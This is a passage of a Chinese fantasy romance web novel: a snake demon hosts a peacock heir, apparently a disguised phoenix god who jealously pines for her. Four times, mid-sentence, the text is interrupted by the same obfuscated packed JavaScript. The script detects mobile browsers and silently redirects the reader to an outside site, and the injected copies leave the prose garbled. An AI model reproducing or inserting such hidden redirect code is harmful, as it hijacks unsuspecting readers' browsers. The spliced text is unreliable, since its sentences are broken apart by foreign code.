“也不白叫你们千里迢迢跑一趟,这些就算是报酬。好了,赶紧走罢,下次有空再叫你们来。” 她同两只山雀告别,全程吕浮白就站在不远的地方,监视犯人般盯着他们每一个动作。 听到花清浅说还有下次,他双眼微微眯起,又见她跟在两山雀身后出了院门,目光依依不舍地望着他们离开的方向,他忍了又忍,终于没有忍住,走到她身边开口说道:“你还挺舍不得他们?” 花清浅一愣。 他这语气听起来好熟悉,这股淡淡的别扭,压抑的嘲讽之意…… 太像是,她曾经朝思暮想的那位神明。 - 自从一百四十岁诞辰宴上,凤凰神君公然提出为她主婚,花清浅求偶的信心便大受打击,缓了好一阵才恢复过来。 她长了教训,不敢再以为神君会吃醋,跟其他雄性鸟族来往索性大方了些,也不再特意避着神君。 一日,她与一只白头海鸥结伴前往东海饮海风,不想正好在半路碰到了神君。神君看她化作原形趴在海鸥肩头,似是嫌她有伤风化,沉着脸命她从海鸥身上下来。 花清浅乖乖落地变成人形,那只海鸥年岁比她还小,害怕神君误会她欺负自己,当即也变成人形解释道: “神君别怪清浅,我是自愿让清浅骑我的,这样我们走得快些,能快点赶到东海——海风就要在这会子吹才舒坦,等晚了就变冷了!” “你要和他去看海?”傅玄看向花清浅,他是背光,她看不清他的神情,只听出他的声音有些发冷,似乎心情不佳。 她不知他为何心情不好,不想惹他烦心,便赶紧点了点头,抓着海鸥的肩膀就想从他面前溜走。 傅玄却接着说道:“那就走吧。” 花清浅一愣,看他自然地跟了上来,他一靠近,小海鸥被迫松了她的手,规规矩矩站到一边,让神君走到中间。 神君的速度自然非同寻常海鸥可比,最后三人到达东海海畔时,离夕阳落下还有很长的一段时间。然而不知为何,那只海鸥刚到海边就说他被风吹得头疼,急急忙忙提出告辞。 “他可是海鸥,海风就像是他的腿脚,他怎么会被海风吹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13203494|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得头疼?”花清浅看着海鸥慌张离开的背影,满是不解。 傅玄淡淡道:“你还挺了解他?” “他是我朋友嘛,我当然了解……” 花清浅说着,将傅玄这句问话品了又品,怎么品都是一股酸味。她悄悄抬眼看他,他像是针扎了一般立刻转过脸去,但她还是看清了他前一刻的神情,他有些不悦地看着她,眸底郁色堆积——换做是别人,花清浅能百分百确定,他这是吃醋了。 但他可是凤凰神君,神君不会吃醋,绝对不会。花清浅逼着自己想起诞辰宴的那一幕,心里又狠狠抽了一下。 她一直都知道,神君的眉目看着疏冷,眼底却有如水的温柔。她在那两汪温柔里溺毙,自作多情地以为,他的温柔只属于她一人。 可事实上,那片温柔属于鸟族,属于六界,属于天下苍生,却决没有独独属于过她。 所有人都知道,凤凰神君的庇护一视同仁,他的光辉普照万物,聪明人就该满足于此,可花清浅不聪明,她想独自占有这份普照万物的光。 然而光是不可能被占有的,就算她不见棺材不掉泪,也已经在棺材上撞得头破血流。 在西谷诞辰宴上出一次丑已经够了,她胆敢对他生出贪占之心,已经算是渎神,可不能再妄想他会为她吃醋,蛇该有自知之明。 于是花清浅摇摇脑袋,将傅玄那句有点别扭、又有点讽刺的问句抛在脑后,下定决心一辈子也不要深究。 - 吕浮白看她神色恍惚,不由问道:“想起什么了?” “没、没什么。”凤凰神君与孔雀族关系密切,花清浅还不想在他面前提起鸟族老祖宗,草草敷衍过去,进到凉亭里去找玉京子。 她没有回头,看不到吕浮白微微扬起眉,对着两只山雀兄弟早已远去的身影,眼底分明闪过得逞的快意。 恰如数十年以前,年轻的海鸥被成功吓跑之后,浅紫色余晖拂照花清浅潮湿发梢,小花蛇吹着海风看海,身边那位神明偏过头看她,也曾这样不动声色地偷偷欢喜过。 是我的,终归是我的。吕浮白在心里默念,方才进院时看到她左拥右抱的那股酸涩刺痛终于淡去。 过了五十年,花清浅长大了,变得越发明艳漂亮,窈窕动人,她性子又这么天真可爱,身边难免有太多不长眼的杂毛鸟族。但是没有关系,从前他就能让他们识趣退却,现在他依然可以。 - 玉京子没弄懂“魂魄不稳”是什么意思,但他相信花清浅,也顺带相信吕浮白,听说他要为自己稳固魂魄,毫不犹豫便答应了。 吕浮白两指掐了法诀,隔空将神力送入他的筋脉,片刻后收回手,说道:“好了。” “这就好了?”花清浅凑到玉京子跟前,紧张地问道:“你感觉怎样,魂魄稳下来了吗?” 如今玉京子鼻子变得正常,一张俊脸毫无瑕疵,与她明媚动人的小脸凑在一起,不再像以前那么滑稽,而是显得有点相配。 吕浮白看着她紧紧抓住玉京子手臂的动作,眼底一暗,但生生忍着,没敢插话。 19. 第19章 玉京子其实并不觉得魂魄有什么变化,但见花清浅神色严肃,他一紧张,自己也有些不确定,迟疑道:“好、好像是稳固了些。” 花清浅当即向吕浮白躬身行礼。吕浮白被她这般客气疏远地千恩万谢,心头泛起一阵自嘲,欲言又止,过了好一阵才低声道:“你不必替他谢我。” “世子高义!” “……” 他皱了皱眉,似乎疲倦至极,花清浅这才想起世子是长途跋涉来此,忙收拾出旁边的一间卧房,请上神进屋休息。 花清浅这座小院别的没有,屋内陈设那是一等一的好。她从前在西谷就爱攒东西,做妖尊尊后时收的法器、宝贝等也尽数带了过来,自己卧房里都放不下,在客房里也摆了一些。 吕浮白随她进到屋内,听她一路介绍这个洗脸盆有什么功用,那块海藻香皂又有什么来历,她这五十年真是过得十分精彩。 他一直无话,放在以前,碰见这种鸟族上神,花清浅会没话找话,套一套凤凰神君的消息。但现在她已没有那个厚脸皮,自知越待下去越讨嫌,便及时住口告辞,请他自行安歇。 - 当日傍晚,为了欢迎吕浮白,也为了满足玉京子的馋虫,花清浅做了栗子炒鸡,又挖出一坛果子酿,酒味饭味香得本地土地公都钻了出来,嘿嘿笑着说想蹭一顿饭。 席间土地公与玉京子争着啃鸡腿,气氛热闹,吕浮白饮下两轮果子酿,也像是活泼了些,居然跟花清浅咨询起心事来: “现在的年轻妖族,都喜欢什么?” 这问题实在太突兀,花清浅疑惑地看向他:“啊?” “我爱上了一个妖,可我惹恼了她,如今她不愿见我。”吕浮白垂着眼帘,脸色一如既往的苍白,透出一丝沉郁与不甘:“我想哄她高兴,求她原谅我,应该怎么做?” 鸟族中兴的希望、堂堂孔雀大明王世子,居然也会爱而不得,花清浅来了兴趣,让他多说几句:“你喜欢上的是个妖族?她在跟你闹脾气?” 吕浮白轻轻摇头,道:“她不轻易闹脾气,她就是不喜欢我了。” “以你大明王之子的身份,谁敢不喜欢你?”花清浅觉得不可思议,“这位妖族女子眼光可够高的啊。” “花姑娘,你听仔细点行不行,世子说的是‘不喜欢了’,说明那女子原本也是喜欢他的。”土地公吞下一块鸡肉纠正道。 花清浅受教地点点头,又转向吕浮白:“她怎么忽然就不喜欢你了?” “她以为……我不爱她。” 听到这里,玉京子忽然蹦出一句:“能给人家女子这种感觉,说明世子殿下确实不怎么爱吧?” 花清浅想想,觉得挺有道理:“确实,这都能有误会,世子爱得是有多含蓄?” “不,不是的!”吕浮白像是被一刀扎进心脏,嘶声反驳:“我只是……只是笨嘴拙舌,不会说话,也不懂讨人欢心,才会让她误会的。” 这位是大明王世子,估计很少有讨人欢心的机会,这话花清浅还是信的。 看他茫然苦涩的神情不似作伪,她顿时起了些恻隐之心:“那你到底做了什么,把人家惹到了什么程度?我也是妖族女子,你跟我说说,我设身处地帮你想一想,还有没有补救的办法。” 不知是不是喝了酒的缘故,吕浮白出乎意料的坦诚。 “她以前总爱跟在我后面,可她年纪小,法力低,旁人常常嘲笑她,说我们不相配。” “但其实在我心里,是我……是我配不上她。我比她大那么多岁……” “她天生讨人喜欢,身份又高贵,将来前途不可限量,偏偏她还是分不清爱与孺慕的时候,我常常想,或许她对我只是崇敬,我却对她动了心……” “我不知道该怎么办,只会回避她的心思,领着她修炼,将无数法术强塞给她。我对她太严厉,太苛求,我拒绝她拒绝得太多,好听的话说得太少——是我的错,我没来得及——” 吕浮白闭上眼睛,短促地倒抽了一口气,仿佛说出这段话让他心如刀绞: “她当然会觉得,我不喜欢她。” 花清浅听着他的话,脑海里却浮现了她与凤凰神君那些往事。 傅玄教她修炼时也很严厉,想来一定要比吕浮白对他心上人严格多了,因为神君压根不喜欢她,教她修炼只是因为被纠缠得烦了,没有吕浮白这种小心思。 她修炼起来不分日夜,有一次甚至累到生病,倒在长生山下起都起不来。不过那次也因祸得福,神君亲自给她治病,为了哄她,还采来甜口的摩罗冰心给她熬汤,她功力因此大涨近乎两倍。 修炼本就艰苦,被傅玄监督的修炼简直是人间炼狱,她也不是没抱怨过,但没有当初,何来今日?回过头来,她现在能有这份在同龄蛇中脱颖而出的高深修为,还得感谢神君。 “呃,世子这也不算做错吧?不管怎么说,你那心上妖因你修为精进,也是好事啊。”她看吕浮白这副恨不得时光倒流的模样,伸手想安抚地拍拍肩膀,犹豫了一下又缩回手: “那小妖族估计是太年轻,还没学会认清人的真心。好在年轻妖族也容易哄,你就别搞什么暗恋了,找个机会跟她表白心迹,好好解释一番就行了。” 吕浮白眼神发亮地看着她:“真的吗?你觉得,她会接受我的心意?” “她为什么不会接受?”花清浅开了个玩笑:“就算她嫁人了,实在不行你就抢过来嘛。”她看了眼吕浮白的脸色,忽然警觉:“等等,她不会真的嫁人了吧?” “我被邪魔击伤,沉睡了千年。”他苦笑一声道,“等我醒来时,打听她的消息,周围人都说,她已经有了夫君。” 花清浅捂住嘴:“那我刚才说错话了,还请世子恕罪!” “你说得也没错嘛。”土地公半只鸡、一碗饭、三盘菜、四杯酒下肚,再塞不下什么东西,仰躺在椅子上懒洋洋说道:“要论强取豪夺,这世上谁能抢得过大明王世子?” 花清浅冲他丢过去一颗栗子,土地公呜哇大叫“怎敢对土地不敬,小心倒霉半辈子”,她理都不理,只顾着跟吕浮白强调:“世子!你不要听他的,成亲了的女子你最好别肖想了,拆人姻缘要遭天谴的!” “等我找到她的时候,她已经没有夫君了。” “那就好——” “可她身边还是有别的男子。” “那你得等人家分开之后,再作——”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221661|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我把那些男子赶跑了。”吕浮白说道,语调还有几分得意。 花清浅无语:“世子殿下,你说话能不能一次性说完?” 孔雀世子这段情史的前途看来很是光明,花清浅喜欢这种团圆结局,很为他高兴,不知不觉就喝得多了果子酿,软绵绵趴在桌上。 玉京子打着饱嗝,醉醺醺地被土地公搀了胳膊遁地而眠。吕浮白的神思却分外清醒,他看向花清浅格外妩媚的泪痣,被果酒熏染、绯色欲滴的双颊,明明还没触碰到,手心却已经烫得发疼。 夜深风冷,他深吸一口气,小心翼翼扶起花清浅,准备带她回屋。她毫无防备地靠在他怀里,姿态亲密,吕浮白微牵起唇角,抱着柔若无骨的她来到床边,弯下身去轻轻为她盖被子,一如多年以前—— 花清浅忽然惊醒,迷朦地睁开眼睛。她看不清身边人的具体面貌,只能看到他一双眉眼,那双格外疏淡沉稳的眉眼,这样温柔地看着她,还与她挨得这样近,像是下一刻就要亲吻她的眉心。 世上这般爱她的人,她只能想到一个:“夫君?” 那人像是被这个称呼刺了一下,猛地退开一步,声音疼得发颤:“你看清楚,我不是苍御峻。” “你当然不是。”花清浅奇怪地看他一眼,“那个混账才不是我夫君。你是……” 她说到一半打起哈欠,唇齿模糊不清,没说完便陷入了昏睡。但不用她说,吕浮白也知道,她叫的这个人绝对不是他。 他枯立在床前,她安静恬美的睡颜近在咫尺,因燥热扯开的领口,线条精致的锁骨,他移开视线,极度压抑着思绪,却仍忍不住去想,到底有多少人见过她私下这般醉倒不设防的模样。 那股冰冷刺骨的寒意又在心中肆虐疯涨,冲破他五十年来强行垒好的每一处防线:她不爱他,在没有他的日子里,她身边狂蜂浪蝶不知有多少,她乐在其中,甚至当真爱上了别人,撒娇叫那人“夫君”—— 移情别恋,原来是这样轻易的一件事情。 吕浮白瞳孔微缩,嫉妒、懊悔与无措填满胸腔,让他面容都险些变得扭曲,他猛地捂住心口,永不熄灭的离火可使极寒之地万年冰原回暖,他却只觉得冷。 在无比漫长的生命里,他第一次领教,原来生出了情根的心,可以让人疼成这样。 “清浅。”很久很久之后,他依旧立在床前阴影处无助开口,眸底血丝触目惊心,声音低不可闻,“我……我已经学会爱人了,你再给我一次机会,好不好?” - 有人在她的床前伤透心神,酸楚枯立至天明,花清浅丝毫不知。 她只知道,今晚她久违地做了个美梦。 她梦到了夫君。 夫君有一双英挺疏朗的眉眼,同凤凰神君有几分相像,但花清浅分得出区别。夫君表面温润,眼底却藏着不易察觉的阴戾,他没有神君那样光风霁月,他手段残忍,心里没有苍生,他甚至不是个好人。 他对谁都是算计,独独会对她好。 神君是好人,可好人不喜欢她,她爱到最后只落下遍体鳞伤;夫君是坏人,可心狠手辣的坏人偏爱她,在他身边的那段日子,是她迄今度过最快乐的时光。 20. 第20章 【花蛇清浅与朱雀赵刑西,在南海之滨面拜天地;以日月、辰星、海浪与深渊为证,二人从此结为夫妻,永结同心,生不相弃,死不相离。】 被晨光照在眼皮上,花清浅从梦中醒来,嘴角还是微微上扬着。 尽管她与赵刑西最终也没有生蛋,可时至今日,她在梦中回忆起那段时光,依旧只有满心的欢喜雀跃。 那是她经历过最顺利的一次求偶,没有别的谁来叫她吃醋,也没有谁搬弄是非、挑拨离间,她从始至终都没有患得患失过,说是求偶,其实她一开始就确定,他也喜欢她。 他们在一起后,她更是什么都不用操心,赵刑西身为仙尊,对凡间法则却也很是熟悉,他懂医术,懂做饭,也懂如何隐藏身份,几乎没有他不懂的事情。 花清浅初入凡间,好几次差点暴露蛇妖身份,都是他帮忙遮掩过去。她曾亲昵地挽着他的手,小声感叹:“还好有你在!夫君,没有你我可怎么活啊。” 那时她已对他的本性初有了解,却宁愿装瞎看不见。她觉得他是谁根本不重要,他爱她才重要,她说没有他自己活不下去,不是在开玩笑,是当真的。 至于后来她发现,被人爱也没有那么重要、即便离开了他,她也能活得很好,那又是另一回事了。 - 从甜蜜的回忆中抽身,花清浅打开房门,一眼就看到吕浮白在小院的石台上打坐。 他生来便是上神,修炼居然还如此勤快吗? 她有些好奇地走近了些,发现他手上掐的法诀不像是吸收清晨光华,倒像是在召唤天界某位神君。电光石火之间,她忽然想到什么,慌张打断他的动作: “世子!你在请哪位神君?!” 吕浮白睁开眼睛。她这些年一定没有时时复习法术手诀,他方才不是在请神,而是拈了个清心咒,只是毫无用处而已。 他本要如实告诉她,顺道规劝她好好用功,看见她神情那般慌乱,却又心念一动,说道:“我在请凤凰神君。” “好、好端端的,你为何要请他?”她果然倒抽了一口冷气,语无伦次地道。 “神君有一位蛇妖妻子,五十年前为他挡箭而死。”吕浮白平静开口,“五十年来,神君日夜不辍招魂之术,却始终没有进展。我觉得,应是那位蛇妖尚还在世的缘故。” 他言下之意昭然若揭,花清浅左顾右盼,不想接茬:“那个,世子,你是不是误会了什么——” “有没有误会,让神君来定。”他深深望进她的眼睛:“我现在就请他过来,如何?” “不行!” “为何不行?” “……好吧,我跟你说实话。”花清浅破罐子破摔地叹了口气: “首先,神君并没有一个蛇妖妻子,这八成是天界以讹传讹,传岔了。他只有半个很不合格、很给他丢脸的蛇妖后辈,就是,嗯,就是我。” “神君只是指导过我修炼,我们可从没有过半分不该有的关系啊,你莫要污了神君清白。” 她一百四十岁诞辰宴上那只西陆杂毛鸟的心情,吕浮白这时总算是了解了。他心里五味杂陈,强撑着道: “是神君亲口告诉我,那蛇妖与他两情相悦,他一直想与她结为夫妻,可惜未能来得及。自她辞世,神君一直以未亡人自居,天界鸟族谁人不知,何来我污他清白?” 花清浅闻言却恍然大悟:“哦,我说呢,你昨日为何一进我院门就拉着个脸,好像我欠你八百两银子似的——合着你一直以为我是你鸟族老祖宗的媳妇,看不惯我收男宠,还想着我给你祖宗守贞呢?!” 吕浮白被她过于直白的用词震得胸口一堵。 “我不是那个意思——” “世子殿下,不管是不是那个意思,你且听我一言。”花清浅皱着眉头挥挥手,让他把要说的话吞回肚子里: “我不知道神君是怎么跟你说的,但你真的误会了,我从来不是他的妻子。如果他确有一个蛇妖妻子,那可能是别的蛇妖吧,反正不是我。” “我的确觊觎过你们祖宗,但我后来学聪明了,你们祖宗是大道无情的真神,我却是一条满肚子自私自利、小情小爱的小花蛇,我很配不上他,也绝不敢再肖想他,你明白吗?” 吕浮白固执地摇头:“我不明白。你以前明明那么喜欢他,怎么会说变就变?” “不是,你还不许我变心了?”花清浅觉得他莫名其妙,“我想杀一只妖,你们神君就要抽我筋骨、剖我妖丹,这他娘的换成谁还能继续喜欢啊?” “神君怎么会那样对你!”吕浮白惊骇道,“他这辈子都不会舍得那样对你——” 花清浅抬起眼帘看向他,浓长的睫毛掩去一丝漠然。 “你又不是傅玄,怎知他不会如此对我?当初魔物进犯长生界,他都能放任我被魔焰吞噬,他有什么舍不得的。” 提起长生界一战,吕浮白再没有什么可辩解的地方。这个误会只有神君本人能解,但她不愿见到神君——他注意到,她在暗暗望向凉亭那处,那里有一个传送阵,如果神君出现在此,她一定会毫不犹豫跳进阵里就跑。 “你就这么不想见到神君?”他抚住心口,像是捂住致命的伤处,挣扎着最后问了一次。 “你就这么想看我受罚?”花清浅反问他,“世子殿下,你昨日还吃了我的炒鸡呢,吃人嘴短,你不会转头就跟我翻脸吧?” 他生怕她转头就跑,不敢逼她,只低声说道:“神君不会罚你。他——” 他分明想你想得要疯了,怎么会罚你? “世子殿下,别把你们老祖宗想得太心慈手软了。或许他对你们鸟族会网开一面,但我是蛇族,我在他眼皮底下骗他,还诬告蛇王,他不罚我才有鬼。” 她竟坚信他会对她如此狠心,吕浮白眸中满是急切与委屈,逐渐沉作一片悲哀的晦涩:“他真的不会罚你,你为何不肯相信呢?” 花清浅心道,被剖妖丹的不是你,你自然说得轻巧。不过话说回来,凤凰神君可是传说级老祖宗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233762|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,鸟族神仙对他盲目崇拜也可以理解。算了,她不与他争。 于是她哼了一声,敷衍道:“行行行,我相信。只要你答应不叫神君过来,我可以每日都同你一起赞颂神君仁慈宽怀,你看如何?” 此时天光大亮,玉京子从宿醉里醒来,精神抖擞地招呼二人进屋吃粥。花清浅挑眉看向吕浮白,他半边脸沐浴在晨光下,轮廓英挺,脸色却狼狈不堪,仿佛花清浅不是在阻拦他请神,而是阻拦他继续活着。 凤凰神君的杀伤力居然到如此地步了吗?她正要提出一个折衷的办法,就听他低哑道:“……你不必如此。我答应你,继续瞒着神君就是。” - 除了对凤凰神君过于崇敬以外,吕浮白大部分时候还是很好相处的。 他举手投足虽贵气十足,却没有什么世子的架子,花清浅对孔雀族颇为好奇,提出许多琐碎的问题,他也有问必答,甚至有一种隐隐的热切,仿佛很欢迎她有些无知的打扰。 这日年关将近,小院吃食存货不足,三人去集市上买年货。吕浮白拎了两大袋五花肉,满身的清冷气息也丝毫不减,花清浅落后一步,看着他沉稳前行的背影,忽然觉得似曾相识。 她正怔愣出神,只听玉京子问道:“世子殿下,你过年了都不回大明王的洞府么?你父王不会想你么?” “不会。”吕浮白头也不回地答,“父王有母后陪着,没空想我。” 他的声音很好听,且比起那人来更有烟火气,两人截然不同。花清浅顿时回神,走到他身边笑道: “那今年咱们三个一起过节,顺手帮这慕城驱赶年兽,还能挣一笔功德。对了,世子殿下,你那位意中人呢,你们快和好了吧,把她也一起带来这里热闹热闹嘛!” 吕浮白看了她一眼,轻轻摇头:“没有,她还不愿见我。” “哪个妖族啊,气性这么大?”花清浅咋舌道,“要不我帮你去讲讲道理——” 她刚说到一半,迎面忽然传来一道声音,打断了她的话:“赵夫人!” 花清浅抬眼望去,来人一身勾丝金线棉袄,方额开阔,财气浓得遮住了整个天灵盖,俨然是大富之相。他不等花清浅答应,自顾自地凑上前来: “这可真是人生何处不相逢,在下与夫人缘分委实不浅呐!在下今年刚刚听说中原局势安稳,便离了金图大道,来中原闯荡,没想到竟在此又遇见了夫人您!夫人是准备在此地过年么?” 花清浅半晌才从记忆中翻找出眼前这张脸,此人姓钱,原是南海行商,数年前身患奇疾,是赵刑西救了他的命。 钱富商他乡遇恩人,高兴得满面红光,连连邀请“赵夫人”与“赵大夫”在城里最好的酒楼吃饭。花清浅尴尬不已,忙告诉他:“我已不是赵夫人,你还是叫我花姑娘吧。” 玉京子在一边听得目瞪口呆,忍不住对着吕浮白小声惊叹道:“清浅之前还是什么妖尊尊后,现在又是赵夫人了……短短五十年,她竟连着换了两位夫君,真是厉害啊!” 21. 第21章 “五十年算短吗?”吕浮白淡淡道,为何他却觉得无比漫长。 过去的五十年里,除了研习复生之术,他每时每刻都沉溺在水月镜前,惊觉过去他与花清浅的一点一滴,每件事他都做得不对,每句话他都答得不好。于是拼了命想要回溯时光,每一分每一秒都难熬得像是一场轮回。 “五十年还不算短?”玉京子没懂他的意思,自顾自继续说道:“清浅今年才两百岁,已经有过至少两任夫君了……哎,她的桃花运可真绝了,要是能分我一点该多好。” 两任夫君。 吕浮白不再答话,他说不出话,只静默地看着花清浅纤细的背影。 妒火原来是比离火还要难以控制的存在,他明知不该在意她的过往,她有过几个夫君都不重要,重要的是她没有死,他重新见到了她,他还有机会。 可理智上冷静是一回事,亲耳听到她被人叫做“赵夫人”又是另一回事。 他忍不住想起之前,她那样激烈地否认她不是凤凰神君的妻子,力证两人“清清白白”,但眼前这个富商叫她赵夫人,她却没有半分排斥的样子,像是已经习惯了这个身份。 有些事情,一旦开始细想,那点酸涩便会无限放大,冰寒的妒火在心底燎原,烧去所有理智,让他几乎想要不管不顾地逼问她到底爱过多少人,哪些人胆敢尚还在世,他可以在顷刻间送他们化灰—— 可是下一刻,他又想起她为何会爱上那些人、为何会弃他而去。 一开始就是他做错了,是他古板怯懦、不会说话,害她那么伤心,时至今日都以为他不爱她。她趋利避害,另外找一个合她心意的夫君,再正常不过。 她不要他了,是他活该。如今只有细细打算、小心筹谋,才能有与她重来一次的机会。 他与她本已再无姻缘,这个机会已经是他费尽心思、与天逆行的结果,不可以有半点闪失。 吕浮白一瞬间冷静下来。 花清浅与钱富商寒暄告一段落,她回过头,笑着冲他与玉京子招手,他垂眸遮去眼中的所有情绪,缓缓走近。 “钱老板,这是我弟弟玉京子,这位是,嗯,是给我弟弟治病的神医,叫做吕浮白。”她转过头介绍道,“弟弟,吕神医,这位是钱老板。钱老板的米行分店已经在慕城开起来了,以后买米记得从他家买啊。” 钱老板坚持请一行人去酒楼吃饭,花清浅与暗含期待的玉京子对视一眼,点头道:“那就恭敬不如从命啦。” 三人在酒楼里坐着等菜时,钱老板吩咐随从把年货提前送回小院,花清浅似乎想到了什么,朱唇轻启,露出一丝无奈的笑容。玉京子不懂她在笑什么,等回到小院,看见满地多出来的鲍鱼虾蟹、灵芝人参,才后知后觉明白过来: “这些都、都是钱老板送的?!” “是啊。可惜了这些补品,银子买来挺贵,对咱们来讲却没什么用,我跟钱老板讲过不要送,他却就是改不掉这个习惯。”花清浅摇了摇头: “算了,过几日拿给暮松知府去,也算做个顺水人情。” 好在送来的海货倒是足够新鲜,可以做一锅海鲜杂烩粥。 她催动灵力,将几大盒海货移进厨房,顺便数了数虾蟹的数目,发现剥虾凿蟹也是个大工程:这种细碎精巧的活不能用法术代劳,得亲自上阵,想想就烦。 吕浮白立在厨房门口,看见她对装海鲜的木盒蹙起眉,便知道她心中所想,走进去说道:“这些虾蟹我来处理,你去休息吧。” “不是吧,大明王世子还会剥虾?”花清浅被逗乐了,侧过脸来笑道:“孔雀族都这么多才多艺的吗?” 她笑得明媚,一双水眸弯成蜜糖似的暖棕色月牙,眸下泪痣轻晃,眉目如画,自成风流,吕浮白忍不住多看了她一眼,欲言又止。 他本来当然是不会剥虾的,可是他的心上人嘴馋,喜欢吃各种各样的稀奇海货,又不耐烦剥壳去刺,于是他不仅学会了剥虾凿蟹,还学会了取红秀珊瑚的肉、去海核桃的皮,把所有的提灯鱼拔去小刺,再若无其事送到她的面前。 花清浅与他互换位置,看他娴熟地处理虾子,掐头、去尾、剥壳、抽线,一套操作行云流水,不到片刻虾肉就堆积了满满一盆。 动作间有虾壳落在他黑色的锦袍上,他略一皱眉,拂去虾壳,顺便换了一套外衣。她看见他四指并拢往下一扫,像是在梳理羽毛,暗自觉得他力道有点重。 这个场景也有些熟悉。 像是多年以前,有海国给长生界送来好多提灯鱼,正好被她瞧见了。神君早已辟谷,那些鱼放着也是放着,她就厚着脸皮凑过去跟他要。 提灯鱼肉质鲜美,且食之可美容养颜,然而此鱼外形古怪,灯形的表皮十分坚硬,肉刺又多,她懒得挑刺,便得寸进尺要神君帮忙,因为“好歹我也算是你的半个弟子吧,堂堂神君弟子被鱼刺卡到喉咙,传出去丢的也是神君你的脸面呀”。 傅玄被她的歪理唬住,当真给她处理了鱼刺。那日午后天气寒冷,长生界内却温暖如春,神君瘦削有力的手指捋过鱼腹,动作有些不熟练,血水飞溅在他的衣摆上,花清浅连忙给他擦去血污。 傅玄顿了顿,却没有接着处理提灯鱼,而是说道:“花清浅。” “嗯?”小花蛇状似无辜地抬头。 “我教过你去尘术。”他意有所指看向她搭在他腿上的爪子——这点污渍还用不着她上手。 花清浅被他点破意图,虽然还想接着欣赏男色,但她好歹还要脸,便很老实地缩了回去。 占便宜不成,她的注意力便回到提灯鱼肉身上,忍不住咽了口口水。但她不知道,她缩成了小小的、柔软的一团,脸上的笑容因为专注又淡了些,看上去就很像是因为被阻拦摸大/腿而失落不已。 过了片刻,忽然又有血水落在傅玄衣摆,这次她却再不敢用手去擦,傅玄顿了一顿,自己施术换了身墨袍。 像是外衣刚换有点不舒服,他又顺便理了理羽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13254204|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毛,下手有点重,一根尾羽顺着他的动作落下。花清浅的注意顿时又被转移,缠着他要他把这根羽毛送给她。 傅玄答应了。 鸟族的羽毛和蛇族鳞片一样,法力越高就越牢固,神君这种级别的鸟应该不会轻易掉毛才是。因而那时,花清浅每次捧着神君亮丽的羽毛都忍不住傻笑,觉得她真是幸运,凤凰千载难逢的尾羽和胸羽都被她收集了个遍。 眼前吕浮白已经处理完虾肉,正将螃蟹放进盐水里吐沙,水面上浮起来的泡沫破裂声将花清浅从回忆中惊醒,她眨了眨眼,有点好奇地问道: “世子殿下,你方才这样是在梳理羽毛吗?” 吕浮白看见她模仿的手势,点了点头。 “下手这么重,不会疼吗?” “嗯。”他温声应道,唇角微微扬起一个怀念的弧度:“习惯了,也没什么。”鸟族送羽毛给心上人本就是天性,看到她拿着他羽毛欢欣雀跃的模样,那点疼真的不算什么。 如果鸟族都是这个习惯,那神君往年掉那么多羽毛就很好理解了。花清浅受教地点点头,听到小院门口传来敲门声,便出了厨房,向门口走去,一面走一面扬声问:“来者何人,来此找谁?” “晚学东方容楚,去岁不才中举,近日上京赶考,路过此地,却不想似乎沾染了些不详之物。”一道温润如玉的声音隔门响起,“经天法司惜蜜司卒指点,特来求助清浅姑娘。” 不错,惜蜜很是上道嘛,大过年的也不忘给她介绍生意。花清浅想着,打开大门,漫不经心瞟了来人一眼。 只一眼,她就小小地倒抽一口冷气,退了半步。 只见门外人一身白衣,背着书箱,身姿仍挺拔端正如松柏,眉骨深邃如远山,双眸毫无杂质,明朗如星,形容举止清雅恬淡,像是只有在话本中才会出现的书生,一出场就能让千金小姐为之倾倒。 花清浅当然不是话本里不识外男的千金,她见过的俊朗男子多了去,眼前这书生只是其中格外出众的一位而已。 她之所以吃惊得往后退了半步,只是因为……这个书生同赵刑西,实在太像。 这人的五官其实与赵刑西并不相似,但为妖者不看皮肉,只看他清隽眉眼间那股温文尔雅的气场,简直与赵刑西有九分像。 